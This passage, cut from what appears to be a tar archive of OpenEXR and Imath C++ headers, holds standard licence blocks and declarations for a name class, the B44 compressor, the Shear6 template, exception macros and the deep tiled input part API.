//-------------------- Name & operator = (const char text[]); //--------------------- // Access to the string //--------------------- const char * text () const {return _text;} const char * operator * () const {return _text;} //--------------- // Maximum length //--------------- static const int SIZE = 256; static const int MAX_LENGTH = SIZE - 1; private: char _text[SIZE]; }; bool operator == (const Name &x, const Name &y); bool operator != (const Name &x, const Name &y); bool operator < (const Name &x, const Name &y); //----------------- // Inline functions //----------------- inline Name & Name::operator = (const char text[]) { strncpy (_text, text, MAX_LENGTH); return *this; } inline Name::Name () { _text[0] = 0; } inline Name::Name (const char text[]) { *this = text; _text [MAX_LENGTH] = 0; } inline bool operator == (const Name &x, const Name &y) { return strcmp (*x, *y) == 0; } inline bool operator != (const Name &x, const Name &y) { return !(x == y); } inline bool operator < (const Name &x, const Name &y) { return strcmp (*x, *y) < 0; } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfB44Compressor.h 0000644 00000007263 15246445047 0011262 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2006, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_B44_COMPRESSOR_H #define INCLUDED_IMF_B44_COMPRESSOR_H //----------------------------------------------------------------------------- // // class B44Compressor -- lossy compression of 4x4 pixel blocks // //----------------------------------------------------------------------------- #include "ImfCompressor.h" #include "ImfNamespace.h" #include "ImfExport.h" #include "ImfForward.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT B44Compressor: public Compressor { public: B44Compressor (const Header &hdr, size_t maxScanLineSize, size_t numScanLines, bool optFlatFields); virtual ~B44Compressor (); virtual int numScanLines () const; virtual Format format () const; virtual int compress (const char *inPtr, int inSize, int minY, const char *&outPtr); virtual int compressTile (const char *inPtr, int inSize, IMATH_NAMESPACE::Box2i range, const char *&outPtr); virtual int uncompress (const char *inPtr, int inSize, int minY, const char *&outPtr); virtual int uncompressTile (const char *inPtr, int inSize, IMATH_NAMESPACE::Box2i range, const char *&outPtr); private: struct ChannelData; int compress (const char *inPtr, int inSize, IMATH_NAMESPACE::Box2i range, const char *&outPtr); int uncompress (const char *inPtr, int inSize, IMATH_NAMESPACE::Box2i range, const char *&outPtr); int _maxScanLineSize; bool _optFlatFields; Format _format; int _numScanLines; unsigned short * _tmpBuffer; char * _outBuffer; int _numChans; const ChannelList & _channels; ChannelData * _channelData; int _minX; int _maxX; int _maxY; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathShear.h 0000644 00000033546 15246445047 0010250 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHSHEAR_H #define INCLUDED_IMATHSHEAR_H //---------------------------------------------------- // // Shear6 class template. // //---------------------------------------------------- #include "ImathExc.h" #include "ImathLimits.h" #include "ImathMath.h" #include "ImathVec.h" #include "ImathNamespace.h" #include <iostream> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Shear6 { public: //------------------- // Access to elements //------------------- T xy, xz, yz, yx, zx, zy; T & operator [] (int i); const T & operator [] (int i) const; //------------- // Constructors //------------- Shear6 (); // (0 0 0 0 0 0) Shear6 (T XY, T XZ, T YZ); // (XY XZ YZ 0 0 0) Shear6 (const Vec3<T> &v); // (v.x v.y v.z 0 0 0) template <class S> // (v.x v.y v.z 0 0 0) Shear6 (const Vec3<S> &v); Shear6 (T XY, T XZ, T YZ, // (XY XZ YZ YX ZX ZY) T YX, T ZX, T ZY); //--------------------------------- // Copy constructors and assignment //--------------------------------- Shear6 (const Shear6 &h); template <class S> Shear6 (const Shear6<S> &h); const Shear6 & operator = (const Shear6 &h); template <class S> const Shear6 & operator = (const Vec3<S> &v); //---------------------- // Compatibility with Sb //---------------------- template <class S> void setValue (S XY, S XZ, S YZ, S YX, S ZX, S ZY); template <class S> void setValue (const Shear6<S> &h); template <class S> void getValue (S &XY, S &XZ, S &YZ, S &YX, S &ZX, S &ZY) const; template <class S> void getValue (Shear6<S> &h) const; T * getValue(); const T * getValue() const; //--------- // Equality //--------- template <class S> bool operator == (const Shear6<S> &h) const; template <class S> bool operator != (const Shear6<S> &h) const; //----------------------------------------------------------------------- // Compare two shears and test if they are "approximately equal": // // equalWithAbsError (h, e) // // Returns true if the coefficients of this and h are the same with // an absolute error of no more than e, i.e., for all i // // abs (this[i] - h[i]) <= e // // equalWithRelError (h, e) // // Returns true if the coefficients of this and h are the same with // a relative error of no more than e, i.e., for all i // // abs (this[i] - h[i]) <= e * abs (this[i]) //----------------------------------------------------------------------- bool equalWithAbsError (const Shear6<T> &h, T e) const; bool equalWithRelError (const Shear6<T> &h, T e) const; //------------------------ // Component-wise addition //------------------------ const Shear6 & operator += (const Shear6 &h); Shear6 operator + (const Shear6 &h) const; //--------------------------- // Component-wise subtraction //--------------------------- const Shear6 & operator -= (const Shear6 &h); Shear6 operator - (const Shear6 &h) const; //------------------------------------ // Component-wise multiplication by -1 //------------------------------------ Shear6 operator - () const; const Shear6 & negate (); //------------------------------ // Component-wise multiplication //------------------------------ const Shear6 & operator *= (const Shear6 &h); const Shear6 & operator *= (T a); Shear6 operator * (const Shear6 &h) const; Shear6 operator * (T a) const; //------------------------ // Component-wise division //------------------------ const Shear6 & operator /= (const Shear6 &h); const Shear6 & operator /= (T a); Shear6 operator / (const Shear6 &h) const; Shear6 operator / (T a) const; //---------------------------------------------------------- // Number of dimensions, i.e. number of elements in a Shear6 //---------------------------------------------------------- static unsigned int dimensions() {return 6;} //------------------------------------------------- // Limitations of type T (see also class limits<T>) //------------------------------------------------- static T baseTypeMin() {return limits<T>::min();} static T baseTypeMax() {return limits<T>::max();} static T baseTypeSmallest() {return limits<T>::smallest();} static T baseTypeEpsilon() {return limits<T>::epsilon();} //-------------------------------------------------------------- // Base type -- in templates, which accept a parameter, V, which // could be either a Vec2<T> or a Shear6<T>, you can refer to T as // V::BaseType //-------------------------------------------------------------- typedef T BaseType; }; //-------------- // Stream output //-------------- template <class T> std::ostream & operator << (std::ostream &s, const Shear6<T> &h); //---------------------------------------------------- // Reverse multiplication: scalar * Shear6<T> //---------------------------------------------------- template <class S, class T> Shear6<T> operator * (S a, const Shear6<T> &h); //------------------------- // Typedefs for convenience //------------------------- typedef Vec3 <float> Shear3f; typedef Vec3 <double> Shear3d; typedef Shear6 <float> Shear6f; typedef Shear6 <double> Shear6d; //----------------------- // Implementation of Shear6 //----------------------- template <class T> inline T & Shear6<T>::operator [] (int i) { return (&xy)[i]; } template <class T> inline const T & Shear6<T>::operator [] (int i) const { return (&xy)[i]; } template <class T> inline Shear6<T>::Shear6 () { xy = xz = yz = yx = zx = zy = 0; } template <class T> inline Shear6<T>::Shear6 (T XY, T XZ, T YZ) { xy = XY; xz = XZ; yz = YZ; yx = 0; zx = 0; zy = 0; } template <class T> inline Shear6<T>::Shear6 (const Vec3<T> &v) { xy = v.x; xz = v.y; yz = v.z; yx = 0; zx = 0; zy = 0; } template <class T> template <class S> inline Shear6<T>::Shear6 (const Vec3<S> &v) { xy = T (v.x); xz = T (v.y); yz = T (v.z); yx = 0; zx = 0; zy = 0; } template <class T> inline Shear6<T>::Shear6 (T XY, T XZ, T YZ, T YX, T ZX, T ZY) { xy = XY; xz = XZ; yz = YZ; yx = YX; zx = ZX; zy = ZY; } template <class T> inline Shear6<T>::Shear6 (const Shear6 &h) { xy = h.xy; xz = h.xz; yz = h.yz; yx = h.yx; zx = h.zx; zy = h.zy; } template <class T> template <class S> inline Shear6<T>::Shear6 (const Shear6<S> &h) { xy = T (h.xy); xz = T (h.xz); yz = T (h.yz); yx = T (h.yx); zx = T (h.zx); zy = T (h.zy); } template <class T> inline const Shear6<T> & Shear6<T>::operator = (const Shear6 &h) { xy = h.xy; xz = h.xz; yz = h.yz; yx = h.yx; zx = h.zx; zy = h.zy; return *this; } template <class T> template <class S> inline const Shear6<T> & Shear6<T>::operator = (const Vec3<S> &v) { xy = T (v.x); xz = T (v.y); yz = T (v.z); yx = 0; zx = 0; zy = 0; return *this; } template <class T> template <class S> inline void Shear6<T>::setValue (S XY, S XZ, S YZ, S YX, S ZX, S ZY) { xy = T (XY); xz = T (XZ); yz = T (YZ); yx = T (YX); zx = T (ZX); zy = T (ZY); } template <class T> template <class S> inline void Shear6<T>::setValue (const Shear6<S> &h) { xy = T (h.xy); xz = T (h.xz); yz = T (h.yz); yx = T (h.yx); zx = T (h.zx); zy = T (h.zy); } template <class T> template <class S> inline void Shear6<T>::getValue (S &XY, S &XZ, S &YZ, S &YX, S &ZX, S &ZY) const { XY = S (xy); XZ = S (xz); YZ = S (yz); YX = S (yx); ZX = S (zx); ZY = S (zy); } template <class T> template <class S> inline void Shear6<T>::getValue (Shear6<S> &h) const { h.xy = S (xy); h.xz = S (xz); h.yz = S (yz); h.yx = S (yx); h.zx = S (zx); h.zy = S (zy); } template <class T> inline T * Shear6<T>::getValue() { return (T *) &xy; } template <class T> inline const T * Shear6<T>::getValue() const { return (const T *) &xy; } template <class T> template <class S> inline bool Shear6<T>::operator == (const Shear6<S> &h) const { return xy == h.xy && xz == h.xz && yz == h.yz && yx == h.yx && zx == h.zx && zy == h.zy; } template <class T> template <class S> inline bool Shear6<T>::operator != (const Shear6<S> &h) const { return xy != h.xy || xz != h.xz || yz != h.yz || yx != h.yx || zx != h.zx || zy != h.zy; } template <class T> bool Shear6<T>::equalWithAbsError (const Shear6<T> &h, T e) const { for (int i = 0; i < 6; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithAbsError ((*this)[i], h[i], e)) return false; return true; } template <class T> bool Shear6<T>::equalWithRelError (const Shear6<T> &h, T e) const { for (int i = 0; i < 6; i++) if (!IMATH_INTERNAL_NAMESPACE::equalWithRelError ((*this)[i], h[i], e)) return false; return true; } template <class T> inline const Shear6<T> & Shear6<T>::operator += (const Shear6 &h) { xy += h.xy; xz += h.xz; yz += h.yz; yx += h.yx; zx += h.zx; zy += h.zy; return *this; } template <class T> inline Shear6<T> Shear6<T>::operator + (const Shear6 &h) const { return Shear6 (xy + h.xy, xz + h.xz, yz + h.yz, yx + h.yx, zx + h.zx, zy + h.zy); } template <class T> inline const Shear6<T> & Shear6<T>::operator -= (const Shear6 &h) { xy -= h.xy; xz -= h.xz; yz -= h.yz; yx -= h.yx; zx -= h.zx; zy -= h.zy; return *this; } template <class T> inline Shear6<T> Shear6<T>::operator - (const Shear6 &h) const { return Shear6 (xy - h.xy, xz - h.xz, yz - h.yz, yx - h.yx, zx - h.zx, zy - h.zy); } template <class T> inline Shear6<T> Shear6<T>::operator - () const { return Shear6 (-xy, -xz, -yz, -yx, -zx, -zy); } template <class T> inline const Shear6<T> & Shear6<T>::negate () { xy = -xy; xz = -xz; yz = -yz; yx = -yx; zx = -zx; zy = -zy; return *this; } template <class T> inline const Shear6<T> & Shear6<T>::operator *= (const Shear6 &h) { xy *= h.xy; xz *= h.xz; yz *= h.yz; yx *= h.yx; zx *= h.zx; zy *= h.zy; return *this; } template <class T> inline const Shear6<T> & Shear6<T>::operator *= (T a) { xy *= a; xz *= a; yz *= a; yx *= a; zx *= a; zy *= a; return *this; } template <class T> inline Shear6<T> Shear6<T>::operator * (const Shear6 &h) const { return Shear6 (xy * h.xy, xz * h.xz, yz * h.yz, yx * h.yx, zx * h.zx, zy * h.zy); } template <class T> inline Shear6<T> Shear6<T>::operator * (T a) const { return Shear6 (xy * a, xz * a, yz * a, yx * a, zx * a, zy * a); } template <class T> inline const Shear6<T> & Shear6<T>::operator /= (const Shear6 &h) { xy /= h.xy; xz /= h.xz; yz /= h.yz; yx /= h.yx; zx /= h.zx; zy /= h.zy; return *this; } template <class T> inline const Shear6<T> & Shear6<T>::operator /= (T a) { xy /= a; xz /= a; yz /= a; yx /= a; zx /= a; zy /= a; return *this; } template <class T> inline Shear6<T> Shear6<T>::operator / (const Shear6 &h) const { return Shear6 (xy / h.xy, xz / h.xz, yz / h.yz, yx / h.yx, zx / h.zx, zy / h.zy); } template <class T> inline Shear6<T> Shear6<T>::operator / (T a) const { return Shear6 (xy / a, xz / a, yz / a, yx / a, zx / a, zy / a); } //----------------------------- // Stream output implementation //----------------------------- template <class T> std::ostream & operator << (std::ostream &s, const Shear6<T> &h) { return s << '(' << h.xy << ' ' << h.xz << ' ' << h.yz << h.yx << ' ' << h.zx << ' ' << h.zy << ')'; } //----------------------------------------- // Implementation of reverse multiplication //----------------------------------------- template <class S, class T> inline Shear6<T> operator * (S a, const Shear6<T> &h) { return Shear6<T> (a * h.xy, a * h.xz, a * h.yz, a * h.yx, a * h.zx, a * h.zy); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHSHEAR_H OpenEXR/IexMacros.h 0000644 00000013200 15246445047 0010076 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXMACROS_H #define INCLUDED_IEXMACROS_H //-------------------------------------------------------------------- // // Macros which make throwing exceptions more convenient // //-------------------------------------------------------------------- #include <sstream> //---------------------------------------------------------------------------- // A macro to throw exceptions whose text is assembled using stringstreams. // // Example: // // THROW (InputExc, "Syntax error in line " << line ", " << file << "."); // //---------------------------------------------------------------------------- #include "IexExport.h" #include "IexForward.h" IEX_EXPORT void iex_debugTrap(); #define THROW(type, text) \ do \ { \ iex_debugTrap(); \ std::stringstream s; \ s << text; \ throw type (s); \ } \ while (0) //---------------------------------------------------------------------------- // Macros to add to or to replace the text of an exception. // The new text is assembled using stringstreams. // // Examples: // // Append to end of an exception's text: // // catch (BaseExc &e) // { // APPEND_EXC (e, " Directory " << name << " does not exist."); // throw; // } // // Replace an exception's text: // // catch (BaseExc &e) // { // REPLACE_EXC (e, "Directory " << name << " does not exist. " << e); // throw; // } //---------------------------------------------------------------------------- #define APPEND_EXC(exc, text) \ do \ { \ std::stringstream s; \ s << text; \ exc.append (s); \ } \ while (0) #define REPLACE_EXC(exc, text) \ do \ { \ std::stringstream s; \ s << text; \ exc.assign (s); \ } \ while (0) //------------------------------------------------------------- // A macro to throw ErrnoExc exceptions whose text is assembled // using stringstreams: // // Example: // // THROW_ERRNO ("Cannot open file " << name << " (%T)."); // //------------------------------------------------------------- #define THROW_ERRNO(text) \ do \ { \ std::stringstream s; \ s << text; \ ::IEX_NAMESPACE::throwErrnoExc (s.str()); \ } \ while (0) //------------------------------------------------------------- // A macro to throw exceptions if an assertion is false. // // Example: // // ASSERT (ptr != 0, NullExc, "Null pointer" ); // //------------------------------------------------------------- #define ASSERT(assertion, type, text) \ do \ { \ if( (assertion) == false ) \ { \ THROW( type, text ); \ } \ } \ while (0) //------------------------------------------------------------- // A macro to throw an IEX_NAMESPACE::LogicExc if an assertion is false, // with the text composed from the source code file, line number, // and assertion argument text. // // Example: // // LOGIC_ASSERT (i < n); // //------------------------------------------------------------- #define LOGIC_ASSERT(assertion) \ ASSERT(assertion, \ IEX_NAMESPACE::LogicExc, \ __FILE__ << "(" << __LINE__ << "): logical assertion failed: " << #assertion ) #endif OpenEXR/ImfDeepTiledInputPart.h 0000644 00000032425 15246445047 0012360 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFDEEPTILEDINPUTPART_H_ #define IMFDEEPTILEDINPUTPART_H_ #include "ImfDeepTiledInputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepTiledInputPart { public: DeepTiledInputPart(MultiPartInputFile& multiPartFile, int partNumber); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; //----------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the TiledInputFile object. // // The current frame buffer is the destination for the pixel // data read from the file. The current frame buffer must be // set at least once before readTile() is called. // The current frame buffer can be changed after each call // to readTile(). //----------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //------------------------------------------------------------ // Check if the file is complete: // // isComplete() returns true if all pixels in the data window // (in all levels) are present in the input file, or false if // any pixels are missing. (Another program may still be busy // writing the file, or file writing may have been aborted // prematurely.) //------------------------------------------------------------ bool isComplete () const; //-------------------------------------------------- // Utility functions: //-------------------------------------------------- //--------------------------------------------------------- // Multiresolution mode and tile size: // The following functions return the xSize, ySize and mode // fields of the file header's TileDescriptionAttribute. //--------------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; //-------------------------------------------------------------------- // Number of levels: // // numXLevels() returns the file's number of levels in x direction. // // if levelMode() == ONE_LEVEL: // return value is: 1 // // if levelMode() == MIPMAP_LEVELS: // return value is: rfunc (log (max (w, h)) / log (2)) + 1 // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (w) / log (2)) + 1 // // where // w is the width of the image's data window, max.x - min.x + 1, // y is the height of the image's data window, max.y - min.y + 1, // and rfunc(x) is either floor(x), or ceil(x), depending on // whether levelRoundingMode() returns ROUND_DOWN or ROUND_UP. // // numYLevels() returns the file's number of levels in y direction. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (h) / log (2)) + 1 // // // numLevels() is a convenience function for use with // MIPMAP_LEVELS files. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // an IEX_NAMESPACE::LogicExc exception is thrown // // isValidLevel(lx, ly) returns true if the file contains // a level with level number (lx, ly), false if not. // //-------------------------------------------------------------------- int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; //---------------------------------------------------------- // Dimensions of a level: // // levelWidth(lx) returns the width of a level with level // number (lx, *), where * is any number. // // return value is: // max (1, rfunc (w / pow (2, lx))) // // // levelHeight(ly) returns the height of a level with level // number (*, ly), where * is any number. // // return value is: // max (1, rfunc (h / pow (2, ly))) // //---------------------------------------------------------- int levelWidth (int lx) const; int levelHeight (int ly) const; //-------------------------------------------------------------- // Number of tiles: // // numXTiles(lx) returns the number of tiles in x direction // that cover a level with level number (lx, *), where * is // any number. // // return value is: // (levelWidth(lx) + tileXSize() - 1) / tileXSize() // // // numYTiles(ly) returns the number of tiles in y direction // that cover a level with level number (*, ly), where * is // any number. // // return value is: // (levelHeight(ly) + tileXSize() - 1) / tileXSize() // //-------------------------------------------------------------- int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; //--------------------------------------------------------------- // Level pixel ranges: // // dataWindowForLevel(lx, ly) returns a 2-dimensional region of // valid pixel coordinates for a level with level number (lx, ly) // // return value is a Box2i with min value: // (dataWindow.min.x, dataWindow.min.y) // // and max value: // (dataWindow.min.x + levelWidth(lx) - 1, // dataWindow.min.y + levelHeight(ly) - 1) // // dataWindowForLevel(level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForLevel(level, level). // //--------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; //------------------------------------------------------------------- // Tile pixel ranges: // // dataWindowForTile(dx, dy, lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a tile with tile coordinates // (dx,dy) and level number (lx, ly). // // return value is a Box2i with min value: // (dataWindow.min.x + dx * tileXSize(), // dataWindow.min.y + dy * tileYSize()) // // and max value: // (dataWindow.min.x + (dx + 1) * tileXSize() - 1, // dataWindow.min.y + (dy + 1) * tileYSize() - 1) // // dataWindowForTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForTile(dx, dy, level, level). // //------------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //------------------------------------------------------------ // Read pixel data: // // readTile(dx, dy, lx, ly) reads the tile with tile // coordinates (dx, dy), and level number (lx, ly), // and stores it in the current frame buffer. // // dx must lie in the interval [0, numXTiles(lx)-1] // dy must lie in the interval [0, numYTiles(ly)-1] // // lx must lie in the interval [0, numXLevels()-1] // ly must lie in the inverval [0, numYLevels()-1] // // readTile(dx, dy, level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It calls // readTile(dx, dy, level, level). // // The two readTiles(dx1, dx2, dy1, dy2, ...) functions allow // reading multiple tiles at once. If multi-threading is used // the multiple tiles are read concurrently. // // Pixels that are outside the pixel coordinate range for the // tile's level, are never accessed by readTile(). // // Attempting to access a tile that is not present in the file // throws an InputExc exception. // //------------------------------------------------------------ void readTile (int dx, int dy, int l = 0); void readTile (int dx, int dy, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); //-------------------------------------------------- // Read a tile of raw pixel data from the file, // without uncompressing it (this function is // used to implement TiledOutputFile::copyPixels()). //-------------------------------------------------- void rawTileData (int &dx, int &dy, int &lx, int &ly, char *data, Int64 &dataSize ) const; //------------------------------------------------------------------ // Read pixel sample counts into a slice in the frame buffer. // // readPixelSampleCount(dx, dy, lx, ly) reads the sample counts // for tile (dx, dy) in level (lx, ly). // // readPixelSampleCount(dx, dy, l) calls // readPixelSampleCount(dx, dy, lx = l, ly = l) // // dx must lie in the interval [0, numXTiles(lx)-1] // dy must lie in the interval [0, numYTiles(ly)-1] // // lx must lie in the interval [0, numXLevels()-1] // ly must lie in the inverval [0, numYLevels()-1] // // readPixelSampleCounts(dx1, dx2, dy1, dy2, lx, ly) reads all // the sample counts for tiles within range // [(min(dx1, dx2), min(dy1, dy2))...(max(dx1, dx2), max(dy1, dy2)], // and on level (lx, ly) // // readPixelSampleCounts(dx1, dx2, dy1, dy2, l) calls // readPixelSampleCounts(dx1, dx2, dy1, dy2, lx = l, ly = l). //------------------------------------------------------------------ void readPixelSampleCount (int dx, int dy, int l = 0); void readPixelSampleCount (int dx, int dy, int lx, int ly); void readPixelSampleCounts (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void readPixelSampleCounts (int dx1, int dx2, int dy1, int dy2, int l = 0); private: DeepTiledInputFile* file; friend void DeepTiledOutputFile::copyPixels(DeepTiledInputPart &); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFDEEPTILEDINPUTPART_H_ */ OpenEXR/IlmThread.h 0000644 00000011442 15246445047 0010063 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2005-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF 